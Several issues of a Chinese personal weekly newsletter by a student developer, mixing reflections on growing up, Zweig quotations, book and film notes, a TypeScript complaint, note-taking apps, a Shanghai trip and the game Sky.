看了越来越多关于经济学、市场、投资、理财的「资本主义」入门书籍,会越来越发现,之前在学校的政治课学到的有关经济学的理论是有不少片面的,至少是有很多内容以前的课里没有教给我们。

最重要的是,没有教我们如何追求钱、管理钱。甚至或许传达出这样一种观念:追求钱是可耻的,富人是坏的,财富累积必然靠「剥削」,所谓「资本从头到脚流着肮脏的血」。

而关于钱的很多知识是从后来读的书里学到的,《黑客与画家》《富爸爸穷爸爸》《第一本经济学》《纳瓦尔宝典》等等,以及本周的《小狗钱钱》。追求钱和财富并不是一件可耻的事情。管理财富反而是一门学问,应该从小培养管理钱和财富的习惯,即所谓「财商」。

《小狗钱钱》虽然是一本儿童读物,但对于从小缺少这类教育的大学生来说也很合适 😁。

可惜,如果离开学校之后不主动阅读(这是大多数人的情况),就很难用这种视角看待世界。

📄 全新 Web 简历正式上线!

我的全新 Web 简历终于完工了!立即访问 👉 cv.skywt.cn。我甚至做了个很酷的 Landing Page,感觉我自己是个产品,要被推销给别人……

相比上一版,新的简历通过新的字体、配色,呈现了新的风格。并且兼容了移动端访问和 Darkmode。改天我要写篇博客详述一下。

这个 Web 简历网页用 Chrome 之类的浏览器打印成 PDF,就成了我的文件简历。

秋招,启动!

下周见。

Weekly #13:永远有人十八岁

打扮漂亮,十八岁是天堂
我们的生活甜得像糖

—— 朴树《New Boy》

🌆 封面图:月亮与六便士

封面图:月亮与六便士

无意间拍到的图,上面是月亮,下面是大厂(六便士?)。可惜 iPhone 12 mini 拍照不太行,拍远景特别糊。

🎈 永远有人十八岁

偶然看到 HNU 公众号推的新一届「我要上典礼」(指新生开学典礼)活动,才意识到,马上就要 2024 届新生入学了。

三年前的我还怀着对大学不切实际的期待,憧憬着未来的四年生活。一年前我还在当迎新班导。那时候看新入学的新生,就像看 2021 年的自己。现在 2024 届新生即将入学,去年我带的新生有的都要当班导了。

时间过得真快,一届又一届的新生入学。永远有人十八岁,但我们会不断长大。

经常搬家的好处就是,经常会彻底地更新环境,因此经常会发现自己彻底告别了过去的生活。因为许多纪念物是我们和过去的自己保持联系的唯一通道。大一住寝室里的时候经常翻高中的日记本,自从大三搬出去了就再也没翻过。后来回寝室整理东西的时候再次翻看,发现过去的自己,高中时期的自己,大一的自己,已经离我这么远了。

同样,现在我似乎觉得过去的大学生活已经离自己远去了。在这座新的城市里,很少有东西能让我脑海浮现过去大学生活里的印记。我正在新的环境里塑造一种全新的生活。

不过对于成长这件事情本身,我还是满怀期待的。相比 18 岁的自己,现在的我对这个世界懂得更多,也能掌控更多东西,离我想要的生活越来越近。虽然还有未知的(且越来越近的)前途等着我,但我相信只要保持学习,人的学识和认知是随时间而积累的,是单调递增的。至少对年轻的我们来说是如此。

🌙 一个恐怖而独特的梦境体验

做了一个多层的梦。这个梦的独特之处在于:在最外层的梦里,我以为自己醒来了。这层梦的情景确实是在深夜的床上,房间里一片漆黑。我从上一层梦里醒来,尝试去开灯,结果发现无论如何灯都打不开。并且这时候的我感觉非常非常困,马上就要睡着(跌入下一层梦境)。我希望开灯让自己清醒,结果无论如何尝试,灯都打不开。一种无名的恐怖笼罩了我。

(回想起来梦里看到的情景和现实世界是有明显区别的:灯的开关是圆形的,而我床头的开关是方形的。不过一如所有的梦,在梦里不会觉察到这些区别。)

不一会就醒来了,一看手表:凌晨 1:40。当我真正醒来才清醒地知道,刚才是梦境,醒来之后的世界才是现实世界。月光透过纱帘照进来,屋里并不是一片漆黑,我不用开灯也能看清,世界并没有梦里那么恐怖。

然而当时在最外层的梦境里,我也以为自己醒来了。我如何证明现在我的真正醒来了呢?🤔(这是个有趣的问题)

🎵 音乐、文学、诗歌,是「情感存储器」

有时候觉得,音乐、文学、诗歌这一类的艺术,是「情感存储器」。

一切人类的知识,本质上都是信息。数学、科学、工业、技术这些东西,它们都是清楚的、理性的,可被表达的。所以,我们往往能够通过简单的文字等载体将其客观地记录下来。即使有些记录形式的复杂性,也是为了方便人的理解。

然而情感不是如此。情感往往是稍纵即逝的、抽象的、无法被客观描述的。一个人内心波涛汹涌的情感体验,是无法通过某种客观的描述语言表达出来的。(或许有,那就是此瞬间大脑的电信号状态,但脑科学似乎还未发展到这个程度,且这么做的成本太高了)

为了捕获和存储这种稍纵即逝的情感,必须使用特制的「容器」。这种容器就是音乐、文学、诗歌。这些载体包含的信息并不代表着它们存储的情感本身。只有当人被诗歌打动,感受到了其中的情感,其中存储的东西才真正释放出来。

很幸运,世界上存在这样的存储器,能够让我们这些暂无缘拥有爱情的人一瞥它的美好和幸福。

😡 TypeScript,但到处是 any

很讨厌屎山代码的这种风格:虽然整个项目使用了 TypeScript,但到处都是 any。并且到处都是红色下划线,似乎大家都不在意这一点。

这样的话,使用 TypeScript 还有什么意义呢?既然有红色下划线又不管,这种行为不是和「使用纯 JavaScript + 在注释里写明类型」等效嘛,后者还可以避免红色下划线。

最令人头大的是,一些传入函数的对象,本身有很多可用的方法,然而当我想看这些方法的列表(想去对象定义里找)的时候,发现传入对象类型赫然写着 any,所有方法的用法都是 obj?.method()……并且也找不到任何有关这个传入对象的文档!每当此时,我只能:

  • 看该函数代码中别处如何使用这个对象。通过方法名猜测其用途。
  • 看看 git 里代码谁写的,问写代码的人。
  • 去找调用该函数的代码(可能还要找调用「调用该函数的代码」的代码,以及调用「调用『调用该函数的代码』的代码」的代码)。

这再次体现出代码的可维护性是多么重要。我的工作时间就这样浪费掉了。🤷

📖 把故事讲出历史感

我实在太喜欢茨威格的《人类群星闪耀时》了(我现在理解为什么高中那个语文补习班的老师总是把这本书挂在嘴边了 😂),虽然之前的 Weekly 多次提到过,不过本周又对其中的一个片段有所感触。

起因是本周为了准备秋招面试,在重新读红宝书《JavaScript 高级程序设计》。这本书的序言开头是这样一句话:

工业革命是钢铁铸就的,互联网革命则是 JavaScript 造就的。25 年的反复锻造与打磨,成就了 JavaScript 在今天的应用程序开发中毋庸置疑的统治地位,但并非一开始就是如此。

第一次读到的时候,能感觉到扑面而来的恢宏的历史感

如果要讲一个故事,如何讲出这种「历史感」呢?一个很好用的技巧就是由大入小,从宏观的角度切入,讲述这个东西在宏伟尺度上的历史意义。

于是我想到《人类群星闪耀时》的这篇《征战南极》。本篇讲述的是人类第一次到达南极点,英国科考队历经千辛万苦到达,希望自己国家的旗帜第一个在南极点飘扬,却绝望地发现别的国家已捷足先登。最终他们在回途中全军覆没。

这篇的开头是怎么写的呢?我觉得这就是由宏大的历史视角切入的典范,每次读都能感受到一种深深的震撼。

二十世纪正俯瞰着一个毫无秘密可言的世界。所有的陆地均已被勘探,船只已抵达最遥远的海岸。那些无名之地,三十年前还微醺着无拘无束地打盹儿,如今已卑躬屈膝地为欧洲的需求服务。轮船径直驶向经过长期寻找的尼罗河源头。半个世纪前才被第一个欧洲人发现的维多利亚瀑布如今驯服地碾磨发电。最后一片荒野,亚马孙河两岸的森林,已经被砍伐得稀疏。唯一的处女地西藏,也已被解开了腰带。旧地图和地球仪上仍旧存在着专家们夸张标注的“人迹罕至之地”,但二十世纪的人类已经了解了他们生活的星球。他们探索的意志已经踏上了新的征程,向下探至深海动物,向上探至无垠的天穹。因为自从地球对尘世间的好奇者已不再神秘以来,未涉足的区域只能去天空中发现,飞机的钢铁双翼已竞相冲上云端,去征服新的高度和新的远方。

然而二十世纪的最后一个谜团仍在众目睽睽之下守护着她娇羞的容颜。地球那被撕咬和折磨的身躯上仍有两个极小的点,在回避着人类的贪得无厌。南极和北极,这两个看似空洞而毫无感性的地方是地球的脊梁。千百年来,地球以此为轴旋转着,并保护着这两块净地不被亵渎。在这最后的秘密之地,它铸造冰雪,以永恒的冬季为守卫神来抵御贪婪。严寒和风暴的围墙骄傲而凶悍地守护着入口,恐怖和危险以死亡为威胁吓走那些冒险家。人类尚未有幸瞧见这一封闭区域的面貌,甚至连太阳也只能仓促地瞥上一眼。

几十年来,探险队前仆后继,却尚无一人能成功抵达目的地。而不久前,人们才在一个不知名的地方发现了安德烈的尸体。他已经在一具冰制的“水晶棺”中躺了整整三十三年。这位勇者中的勇者曾经梦想驾驶飞艇飞跃极点,却不幸一去未返。他每次的冲锋都撞击在晶莹的冰冻墙面上。几千年来直至今日,地球仍在此处遮掩着它的面貌,牢牢地成功抵御着人类探险的激情,处女般贞洁地在世上的好奇者面前护卫着它的赧颜。

但年轻的二十世纪已迫不及待地伸出它的双手。它在实验室中研制新武器,发明新式盔甲抵御危险。一切阻力都只会激起它更多的贪欲。它要了解一切真相。二十世纪想在最初的十年,就拥有之前所有世纪尚未企及的一切成就。个人的勇气与民族间的对抗携手。人们不再只身夺取极点,而是争取最先在无人涉足的区域让本国的旗帜高高飘扬:各个种族的十字军和人民开始征服伴随渴望而越发神圣的土地。地球的各个大陆都发起了新的冲击。人类已不能再等待。他们知道,极地是人类生存空间内最后的秘密之地。“佩利号”和“库克号”从美洲驶往北极,另有两艘船,一艘由挪威人阿蒙森指挥,另一艘由英国人斯科特舰长率队,驶向南极。

下周见。

Weekly #12:用「认知行为疗法」控制情绪

希拉鲁姆什么也没说。平生头一次,他真正明白了黑夜是什么 —— 它是这个世界投下的影子,投射在天空中。

🌆 封面图:夏天的云(二)

夏天的云

👀 用「认知行为疗法」控制情绪

在精力充沛的时候,我是有充分的理智的,想要学习更多知识,想要看更多书,想要认识更多人,想要创造。这时候,对一切的认知往往是清晰和积极的。

然而当劳累的时候,心情郁闷或者烦躁的时候,我的思想往往不受理性的控制,而纯粹沦为感性的机器。对任何事情的认知都会笼罩上一层负面的滤镜。

《伯恩斯新情绪疗法》中介绍的「认知行为疗法」,尝试教我们解决这一问题。本书指出,负面情绪源于「认知扭曲」,而负面情绪本身又加深了错误的认知,从而形成恶性循环。这些所谓的「认知扭曲」,当我们情绪正常时,是能够明显发现其错误的,但在负面情绪之下则可能陷入其中,比如「TA 肯定是讨厌我了」「我肯定做不好这件事情」,诸如此类。

为了打破这些「认知扭曲」,我们能够在清醒的时候建立一种响应机制。例如,书中列出了十大认知扭曲:

  • 非此即彼:完美主义,认为 1% 不做成就 100% 失败
  • 以偏概全
  • 心理过滤
  • 否定正面思考
  • 妄下结论:包括心理猜测(读心术)、先知错误
  • 放大和缩小
  • 情绪化推理
  • 「应该」句式
  • 乱贴标签
  • 罪责归己 / 罪责归人

为了建立一套能够客观运行的情绪调控机制,我们可以将其标准化(就像麦当劳标准化的餐饮制作流程)。本书介绍的改变感受的四步流程:

  1. 描述导致心理沮丧的事件。
  2. 记录负面感受。
  3. 「三栏法」,写下自动思维、认知扭曲、理性回应。
  4. 重新评估。

这种方法建立了一种不需要太多理性的思考框架,并借助客观的外部媒介(用纸和笔写下)。经过实测,这种方法确实有一定效果。很推荐这本《伯恩斯新情绪疗法》!

人类的感性虽然是伟大的能力,但也非常容易让理性失去控制。我认为时刻保持清醒是作为人类最重要的能力。

🎵 肖斯塔科维奇第二圆舞曲

我不是一个很懂音乐的人。但上学期自训队的交响乐表演,其中《肖斯塔科维奇第二圆舞曲》给我留下了最为深刻的印象。

肖斯塔科维奇《第二圆舞曲》(俄罗斯圣彼得堡爱乐)

交响乐真是一种很神奇的艺术形式。我们接触的大多数艺术形式,特别是通俗的艺术,比如电影、摄影、小说、绘画、戏剧、流行音乐,我们对艺术作品的感觉都源于我们生活的经验。没有相关的经历,可能对于作品就无法产生共情。然而纯音乐,特别是交响乐,却不是如此。我们对这种艺术作品的感知纯粹来源于作品本身。或许这可以被称为「纯艺术」。

🎬 本周观影:《布达佩斯大饭店》

对这部经典电影早有耳闻,也一直在我的观影 list 里。一直觉得对这种很经典的、很艺术的电影,作为消遣在茶余饭后观赏则有些浪费了(这居然成了我拖延症的理由……)。这周终于看了。

最吸引我的自然是本片的构图和色调。这是电影作为一种视觉艺术的体现。随着一层层故事的进入,环境、色彩甚至光影的变化,很有效地营造了氛围,将欧洲那个年代的历史展现在我们的眼前。

看到结尾「本片灵感源于史蒂芬 · 茨威格的作品」的字幕,shock 了一下……最近恰好在重读茨威格的作品,太巧了!不过看到这行字幕才回想起来,这部作品确实很有茨威格的风格。像诗一样的语言,像诗一样看待世界的方式。正如他本人所言:

即便在惊恐的深渊中,我也会一而再地抬头仰望那些旧日的星辰。

—— 茨威格《昨日的世界》

最近看的虚构类文学作品有点多,似乎我对文学越来越感兴趣了。不过仔细想想,文学只是关于文字这种表达形式的学问。音乐、电影甚至游戏,都可以是同等的表达形式。我深深着迷的东西,其实是这些形式背后表达的内容,那些深刻的情感和伟大的精神。

🇬🇧 把系统语言换成英语!

Via:我发现把系统语言切换成 English 的好处

翻译讲求信达雅,这固然没错,但许多时候这种「翻译感」并不适合需要简单直白高效的 UI。例如:Finder 翻译成「访达」,虽然确实很信达雅,有一股 Apple 特有的艺术气息,但却丧失了原来直白高效的感觉。

还有经典的「拷贝」和「复制」。Apple 系产品的「拷贝」等于非 Apple 系产品的「复制」(二者都是 copy);而 Apple 系产品的「复制」其实是 duplicate……不难发现,虽然翻译是为了本地化,让我们更好理解,但对我们而言,这些外来词被翻译后反而不如原来的英文好理解。

这类问题最多的当属 Apple Music 不可。「Play Next」被翻译成「插播」,「Library」被译为「资料库」。第一次从国产音乐软件转移过来的我,见到这样的 UI 完全摸不着头脑。

然而,将系统语言换成英语也有一些问题。iOS 大多数 App 都支持单独设定语言,所以可以将一些没兼容好的软件设为中文;然而系统自带的 Apple Music 却无法单独设置语言,这导致很多中文歌名、歌手名都会显示为英文,根本不认识!

  • 到底姓在前还是名在前???
    • 孙燕姿 —— Yanzi Sun
    • 周深 —— Zhou Shen
    • 毛不易 —— Mao Bu Yi
  • 莫文蔚 —— Karen Mok
  • 薛之谦 —— Joker Xue
  • 凤凰传奇 —— Phoenix Legend
  • ……

📑 正在制作我的全新简历 4.0!

技术岗一般不会很看重简历的设计,许多大厂都有自己的简历系统,或许面试官根本不看简历的 PDF。但既然我都用前端技术来写简历了,自然希望做得有意思一点。

我的简历 3.0,是基于 Astro 做的在线简历。部署在 cv.skywt.cn

可能由于我没有系统地学过平面设计和排版一类的知识,我对于含有大量文字内容的排版,感觉最重要的东西是字体。因为简历、博客这类排版有大量文字,很少有平面设计的发挥空间(这反而利好我这样的设计小白),而文字本身传达的视觉信息则更加重要。

一直以来我都比较喜欢 serif 字体,比如博客和上一版简历用的都是思源宋体。这种字体统一、文艺、正式,并且可以方便地作为 Web 字体。通过这种字体,能够很好地传达一种「性格」,也就是《Refactoring UI》里说的 personality。

然而,在仔细端详我的简历之后,我突然觉得:我想传达的性格不应该是这样的。我不想要这么正式古板,不想要这么文艺复古和多愁善感。我希望传达的是科技感、年轻、热情和热爱。

然而,普通的 sans 字体都太普通了,很难表达出我想要的感觉。不管是苹方、方正还是思源,用在简历里都显得特别廉价,一点都不 impressive。

在某厂实习期间,看到的一款字体似乎比较符合我想要传达的性格:钉钉进步体。基于这个字体,我全面改造了我的简历,希望能传达出「进取」的感觉。

马上上线,准备秋招!

🪧 一则全新 Twitter 置顶贴

自我介绍一下:

[object Object]

补充说明:

  1. 没有对象。
  2. 我有一个很丰富的自己想要介绍给你,可惜这里空隙太小,写不下。

一般来说,关于一个人的自我介绍信息可以用一个 Object 来表达。包含若干 key-value pairs,例如「姓名:SkyWT」,「爱好:阅读,coding,……」。然而可能由于一些格式兼容问题,我本来想把这个很大的 Object 输出给你的,结果输出出来就变成了 [object Object]。😉

📚 本周在读:《你一生的故事》

特德 · 姜的科幻小说总有一些独特的脑洞和创意。之前读了他的《呼吸》,本周读了这本《你一生的故事》,两本其实都是短篇科幻小说集,每一篇描述的世界,都有一个很有意思的独特设定。

他的小说很擅长将一些非常抽象但很有趣、很有哲理的观念或设定,用一种具象的形式表现出来。比如我特别喜欢的《呼吸》里的《焦虑是自由引起的眩晕》:

量子领域的发现推翻了牛顿经典力学的「决定论」,揭示了「世界上存在真随机」这一事实,但我们的生活中其实很难直观感受到这一点。小说的设定将这一点抽象出来了:世界上存在一种叫做「棱镜」的设备,其上有两盏灯。当设备被激活这一刻,有一半的概率左边灯亮,一半的概率右边灯亮,这是纯随机的。不同的灯亮,意味着出现了两个平行世界。

更有趣的是,棱镜里保存着一块量子硬盘,两个平行世界的人都能写入、读取数据,但不能覆盖已写入的部分。所以,两个平行世界的人可以保持一段时间的沟通,当硬盘数据写满之后两个世界就彻底失去通讯。当面临一些人生重大决策的时候,可以将棱镜看成抛硬币的机器,根据灯亮做出决策,并可以通过设备和平行世界作出另一决策的自己沟通!

我们在生活中,特别是在面临一些重大决策的时候,经常会想:「如果我们选择了另一条路,现在的人生会怎样呢?」然而,小说告诉我们:知道这个问题的答案,或许并不是一件好事。正是我们做出的种种选择,造就了今天在这个时空的自己。

下周见~

Weekly #11:成长是对世界的祛魅

我并没有生您的气,即使是瞬间,我也未曾做出过糊涂的、含有敌意的决断,因为生活本身已经把色彩缤纷的火焰冷却成了微光闪烁的同情的火苗了。

—— 茨威格《忘却的梦》

🌆 封面图:上海外滩

封面图:上海外滩

本周末去了上海玩!

在外滩,能够感受到一个时代的脉搏。

🌃 成长是对世界的祛魅

本周末从杭州东站出发前往上海。

杭州东站被戏称为「沉降东」,因为站台地底土质松软,选址时似乎没有考虑到这一点,导致现在站台出现了严重的沉降。列车到达时,车厢地面居然高出站台 20cm 左右……

不仅是站台沉降的问题,这次来杭州东,我能深刻地感觉到,整个杭州东站都「老了」。灯光更昏暗了,白色的墙体更泛黄了,电梯也更陈旧了……

我至今还清楚地记得,小时候第一次来杭州东站感受到的那种震撼。巨大的候车厅,巨大的站台,巨大的支撑柱,让我联想到《星际迷航》里的飞船(记得在高中写的日记里经常提到这一点)。它真的很能代表属于杭州的宏伟和繁华。特别是在杭州上高中的时候,每次放假回家都要从杭州东站出发。那时它在属于孩子的我眼里是多么雄伟,多么壮观。

上海是我小时候认为的最为繁华的城市。中国的经济中心,国际化的大都会,时代的见证。然而这次来到上海,坐地铁的时候,却有了很不一样的感受:夜晚城郊地铁上疲惫的人们,每个人都在各自看手机,感受不到丝毫活力。地铁上唯一看起来快乐的只有外地来的游客,兴奋地聊着天,和车厢里沉默的氛围格格不入。原来每一个平凡的个体在这样的城市里生存,感受是相似的。

以前我们以为的那些宏伟的、壮观的、光鲜亮丽的东西,随着我们年岁渐长,会慢慢发现它们都不过如此,而并没有我们曾经想象的那样伟大。可能所谓成长,就是对这个世界的不断「祛魅」。

📒 我放弃了所有「效率笔记」类应用

之前我超级喜欢折腾「效率笔记」一类的应用。之前写的《七大私有化部署笔记 & 知识库系统横评》,我试用了 Notion、Outline、Trilium、AppFlowy、为知笔记、AnyType、思源笔记。然而这还只是冰山一角,令我印象深刻的折腾过的笔记软件还有:Logseq、Obsidian、Flomo / Memos……

并且其中不少软件,我都使用过一段时间,怀着「将这个软件作为长期使用的工具」这样的想法。特别是思源笔记ObsidianLogseqMemos 这四款,我在它们身上都曾经希望 settle down。然而,最后都纷纷迁移。

现在,我终于放弃了所有「效率笔记」应用。因为我意识到这样一个事实:关于工具的折腾是没有尽头的。今天我由于 A 工具的一些厉害的功能而转而使用 A 工具,而明天必然会有 B 工具有比 A 工具更厉害的功能,我会转而使用 B 工具……软件总有更新迭代,总有后浪推前浪,所以我们也总有新的工具可以折腾。这是一个「螺旋上升」的局面,是个无尽的螺旋。

而笔记系统真的经不起这样的折腾。特别是随着内容的增加,迁移的压力会越来越大。

所以目前我的解决方案是,实行这样的观念:不再使用任何高级的笔记功能。什么双链笔记、卡片笔记、flashcards、各种同步、各种插件……这些功能虽然很炫酷,或许也有一定的好处,但并不是一个笔记系统从本质上所需要的。而一旦开始使用这些高级功能,必然陷入上述折腾的泥潭,螺旋上升地不断切换笔记系统。

从本质上,要构建一个笔记系统,Apple Notes 就足够了。

(有时候我甚至觉得,我们过于重视自己的第二大脑了,而忽略了第一大脑。)

📚 线上才是书店的更好形态

去上海逛了一家书店。虽然我喜欢阅读,但是已经很久没有逛线下书店了。更多地是逛豆瓣、Z-library 这种「赛博书店」。

虽然我非常喜欢线下书店的氛围,但是逛的时候有这样的感受:对于真正希望获取知识的阅读者,线上或许才是书店更好的形态。

书店里的书籍实在是太多了。而所有这些书籍,面向我们展示的信息只有封面、标题,顶多有一些书店的推荐语。这些内容往往考验的是出版社封面设计的功力,而不是书籍本身的内容质量。

我就有过不少被书店摆在醒目位置的、封面很漂亮的所谓的「畅销书」荼毒的经历。高中时在某某书城看到的《摆渡人》、《知更鸟女孩》,都是豆瓣上 6 分左右的平庸之作(我甚至觉得不值 6 分)。前者靠着非常漂亮的封面成功吸引了我(事实上纯粹是出版社的设计功力,这本书在国外是名不见经转的平庸之作),后者的封面设计则碰瓷名著《杀死一只知更鸟》(而且书店还特意将它们摆放在一起)。

书店本身并不在意读者阅读的书本身的质量,只在意书籍销售的数量。所以书店也必然将一些封面精美而内容平庸的书籍包装成「畅销书」,放在最醒目的位置。这也是书店商业属性的必然。

而在豆瓣这样的平台则不同,我们可以直观地看到书籍的评分,各个领域 top 的书籍是哪些,据此判断哪些书值得读。如果高中的我看到《摆渡人》和《知更鸟女孩》的评分这么低,我绝不会将时间花在它们身上。

虽然说读那些平庸的书籍也并非完全没有收获,但是人的时间太宝贵了。应该花在更优秀的书籍上。应该去向更伟大的思想和知识投去仰望的目光。

💡 伟大的事业需要真正的天才

看《人类群星闪耀时》的《决战滑铁卢》一篇,讲述的是拿破仑在滑铁卢的关键一战中,将重任委予一个平庸之人,这位平庸之人行事唯唯诺诺,只愿意「坚决执行命令」,不愿意承担责任。最后导致战败,扭转了整个历史。这就是著名的滑铁卢战役。著名到现代汉语中也常用「滑铁卢」来形容常胜将军的失败。

命运渴望强者和暴君。多年来对这几个人:恺撒、亚历山大、拿破仑,奴颜卑膝地百依百顺。因为命运无以抗拒地热爱着这些和它相像的不可捉摸的生灵。

然而在一些极为罕见的瞬间,命运也会因为情绪特殊,将自己抛向一些平庸之辈。在人类历史中,最令人惊奇的时刻是命运之线瞬间落入一位卑微之人手中。这些人被风暴般委以重任,与其说是他们的幸运,毋宁说让他们恐慌。在英雄世界的游戏里,这些鼠辈几乎总是颤抖着将抛来的天命撒手奉还。因为他们极少能抓住机遇,控制机遇,随之攀升。而伟大的时刻只是瞬间降临到他们身上,一旦错过时机,命运将决不二次恩惠。

尘世间,这样的瞬间极少光顾。而当它降临到一个不恰当的人身上时,这人并不懂得如何利用它。于是,这一伟大的瞬间进行了可怕的复仇。一切市民的美德:谨慎,顺从,勤勉,深思熟虑,在天命降临的烈焰中化为乌有,百无一用。这一刻需要天才。它蔑视地将胆怯之人一把推开并将天才一举锻造为不朽的丰碑。这世上的另一位神,命运,它高举勇者,以火热的双臂将英雄们举向天国。

读到「一切市民的美德:谨慎,顺从,勤勉,深思熟虑,在天命降临的烈焰中化为乌有,百无一用」这一句,我感觉有些震撼。我们从小被教育的就是要做一个善良的人,做一个勤奋努力的人,而在真正的天命面前,这些「市民的美德」根本无法决定什么。

真正能够决定一个人能否成就一项伟大的事业的,往往是源自其内心的召唤,和其与生俱来的独特气质。从历史上看,从爱迪生到乔布斯,都不太具备所谓「市民的美德」;而正是他们这样的天才推动了人类社会前进。

所以说,一项真正伟大的事业,往往需要真正的天才。

📷 一些上海图集

上海静安寺

坐落在喧嚣尘世里的静安寺。后面这栋楼的配色设计得太好了。

Apple 静安

Apple 静安大教堂!

Apple 的直营店或许是 Apple 最好的产品之一。这样细致的室内设计,真的是「only Apple can do」的事情。

虹桥火车站

夕阳下的虹桥火车站。金色的光。

下周见~

Weekly #10:游戏作为第九艺术

「您今天还保留着您所有的理想,那些您当年带往远方世界去的所有理想吗?所有这些您还保留着,没有损坏,或者说有些已经死亡,已经枯萎?或者到头来人家没有把这些理想强行从您怀里抢走,扔在污泥里,被成千上万驰向生活目标的车轮碾得粉碎?或者说您一点也没有丢失?」

—— 茨威格《忘却的梦》

这期 Weekly 本来写了一半是要上周发的,但是上周去参加了 AdventrueX,改发了一期「特别篇」。所以这篇内容,留到了这周发。

说起来,Weekly 发布时间已经变成不定了。我希望只要保持一周的周一到周日任何一天能发就好。😁

🌆 封面图:一个平凡的晚上

封面图:一个平凡的晚上

从 AdventureX 回来,就好似做了一场梦。回到了大厂平庸无聊的生活,只能将梦想重新埋在心底。

📚 本周重读:《一个陌生女人的来信》

上周重读了茨威格的《人类群星闪耀时》,本周我重读了他的另一部作品,是一部小说集:《一个陌生女人的来信》。仍然是茨威格的风格,我实在太喜欢了。

每个故事核心的情节其实都非常简单。然而茨威格的语言就有这样神奇的魔力,能将一个无比简单的情节渲染成充满诗意和情感的故事,让人深深共鸣。

忘却的梦》讲述的是一对曾经的初恋情侣,多年后再一次相见。他们回忆了曾经的初恋是多么美好,表达了自己仍然是多么爱对方。然而女方却选择为了钱财和地位,和另一个男人结婚。男方质问女方为什么。

随后她轻轻地、几乎是无声地问道:「您当时对我是怎么想的?」

他惊讶地抬眼望着她。

「这我可以坦率地告诉您,因为明天我就要回到我的新故乡去了。—— 我并没有生您的气,即使是瞬间,我也未曾做出过糊涂的、含有敌意的决断,因为生活本身已经把色彩缤纷的火焰冷却成了微光闪烁的同情的火苗了。我对您不理解,只是——感到惋惜。」

这时他轻声地,像是在对自己说:「可是爱情呢?」

这话她听到了。她嘴唇上露出一丝浅浅的微笑。

您今天还保留着您所有的理想,那些您当年带往远方世界去的所有理想吗?所有这些您还保留着,没有损坏,或者说有些已经死亡,已经枯萎?或者到头来人家没有把这些理想强行从您怀里抢走,扔在污泥里,被成千上万驰向生活目标的车轮碾得粉碎?或者说您一点也没有丢失?

他沮丧地点点头,沉默不语。

家庭女教师》以两个小女孩的视角展开,她们是姐妹。她们喜爱的家庭女教师,被父母发现和她们的舅舅「通奸」。在羞愧之中,女教师离开了她们家。

小女孩还无法理解这一切是怎么回事,但女教师哭得红肿的眼睛、母亲的咒骂、舅舅苍白的脸色,让她们第一次认识到,现实世界是多么残酷。这就是成长

就在这天下午,她们长大了好几岁。只是到了晚上,当她们单独待在黑暗的房间里时,才会再度产生儿童的恐惧:对孤独的恐惧,对死者画像的恐惧,以及对许多说不清的事物充满预感的恐惧。全家人一片慌张和忙乱,竟然没人想起给她们的房间生火。她们两人冷得爬到一张床上,用瘦弱的胳膊互相紧紧抱住,两个修长的尚未发育成熟的身体依偎在一起,好似在恐惧中寻找救援。可是,她们依然都不敢开口,但是妹妹此刻终于哭了,姐姐立即跟着猛烈地抽泣起来。她们紧紧地抱在一起哭,两人脸上热泪滚滚,从缓缓滴落到畅快直流。她们胸贴着胸,紧紧搂在一起,一声高一声低,彼此应和着对方的悲泣。她们两人有着相同的痛苦,成了同一个在黑暗中哭泣的身体。她们现在已经不再是为那个不幸的女教师而哭泣,也不是为她们即将失去父母而哭泣,而是因为一种剧烈的恐惧感震撼了她们,尤其是因为对这个陌生世界可能发生的一切感到恐惧,对于这个世界今天她们才向它投去可怕的一瞥。她们对自己正在进入的生活感到恐惧。这生活就像一片幽暗的树林,轰然耸立在她们面前,阴森可怕,望而生畏,可是她们又必须去穿越。渐渐地,她们两人混乱的恐惧变得越来越朦胧,像梦幻一样;她们的哭泣声也越来越微弱;她们两人的呼吸也缓缓地汇成一气,如同方才的眼泪一样。就这样,她们终于进入了梦乡。

最为著名的《一个陌生女人的来信》讲述的故事则更有戏剧性。四十一岁的男主突然收到一封长长的信,原来是男主根本不认识的女主,一直暗恋了他十多年。女主躺在病床上,临终前在信中回顾了自己一生对男主的爱恋。

女主对爱情的痴狂,真的深深震撼了我。

我知道,我知道,我的孩子昨天死了 —— 在这个世界上我现在只有你,只有你了,而你对我却一无所知,此刻你完全感觉不到,正在嬉戏取闹,或者正在跟什么人寻欢作乐,调情狎昵呢。我现在只有你,只有与我素昧平生的你,我始终爱着的你。

🪽《Sky 光遇》:游戏作为第九艺术

游戏可以和电影、书籍一样解决情感饥渴。

—— 陈星汉

Sky 光遇》(Sky: Children of the Light)这款游戏,陪伴我度过了许多时光。本周,它迎来了五周年庆典。我觉得值得回忆我和这个游戏的缘分。

高中的时候还在用小米 6,在酷安上看到的这款游戏的测试服(现在的国际服)。当时要玩上这个游戏可真不容易!由于只支持 Google 的账号体系,Google 框架自然是不必说,它还要求设备通过 Google Play 的 Safetynet 验证,这就需要各种折腾。直接安装 apk 是不行的,当时还用了一种特殊的安装器,连同一些游戏数据一起安装。那个每天折腾刷机的时代已经离我很远了,很多曾经天天折腾的事物都退出了历史舞台,比如 Xposed、TWRP……所以我几乎不记得我是怎么折腾的了。总之,还在安卓国际服测试服阶段,我就玩上了这个游戏。这个账号延续至今。

印象中测试服最早是日本服,游戏里遇到很多日本玩家。游戏本来是设计了「挥手」这个打招呼的方式的,但是由于最早一批玩家都来自日本,游戏中的「鞠躬」成了最流行的打招呼方式,延续至今……

后来在「网易 UU 加速器」里可以直接下载安卓版,我便安利给了高中同学,一起联机。记得是疫情隔离的寒假,那真是一些独特的体验和回忆。永远记得高二暑假一起玩过的「梦想季」。

游戏温暖治愈的设定,当时狠狠戳中了我。陌生人初看对方都是黑影,只有用蜡烛点燃对方才能看见对方的样子;通过蜡烛和升华烛可以解锁好友互动的各种方式;特别是暴风眼的设计和「重生」的设定,这一切通过游戏这样的载体展现了一种艺术感。

《Sky 光遇》每隔一段时间会推出新的持续两三个月的活动,称为「奇妙之旅」或者「季节」,会开放新的地图、道具和故事。记得入坑的时候恰逢最早的季节「凛冬季」。之后让我印象深刻的季节有:和《小王子》联名的「小王子季」,开放了绝美的星光沙漠地图;让全图天空变黑的「破晓季」,我唯一买了季卡的季节;和歌手 AURORA 联名的「AURORA 季」,万人联机的赛博演唱会(我会为任何没看过这个的人感到惋惜!);和上美影联名的「九色鹿季」,展现敦煌文化的灿烂和浪漫……

这个游戏带来的回忆太多了,有太多言语无法描述的震撼体验。可惜由于版权等种种原因,很多季节错过了就无法再次体验,非常可惜。

由于 bug 而产生的景点「千星城」

